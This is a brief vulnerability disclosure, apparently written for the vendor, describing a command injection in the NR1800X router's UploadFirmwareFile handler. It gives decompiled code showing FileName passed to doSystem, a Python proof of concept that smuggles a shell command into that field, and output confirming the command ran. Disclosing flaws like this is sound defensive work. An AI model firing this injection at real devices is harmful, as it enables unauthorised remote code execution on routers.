

NR1800X - command injection - UploadFirmwareFile

Hi, we found a command injection vulnerability at NR1800X (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

The bug is in function **UploadFirmwareFile** of the file `/cgi-bin/cstecgi.cgi` which can control **FileName** to attack. **FileName** is directly copied to **doSystem**, result in command injection vulnerability.

```
72 | memset(v48, 0, sizeof(v48));
73 | v2 = websGetVar(a1, "FileName", "");
74 | websGetVar(a1, "FullName", "");
75 | v3 = websGetVar(a1, "ContentLength", (char *)&word_4370EC);
76 | v4 = cJSON_CreateObject();
77 | v5 = strtol(v3, 0, 10) + 1;
78 | strcpy(v48, "/tmp/myImage.img");
79 | doSystem("mv %s %s", v2, v48);
80 | if ( v5 < 0x8000 )
81 | {
```

PoC

```
import requests
url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie": "uid=1234"}
data = {'topicurl': "UploadFirmwareFile",
"FileName": " ;ls > /tmp/hack;"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
```

Impact

Remote code execution

After execute the poc, we can see that `/tmp/hack` is created .

```
56M_V9.1.0u.6279_B20210910_ALL.web.extracted/squashfs-root# cat tmp/hack  
ExportSettings.sh  
cstecgi.cgi
```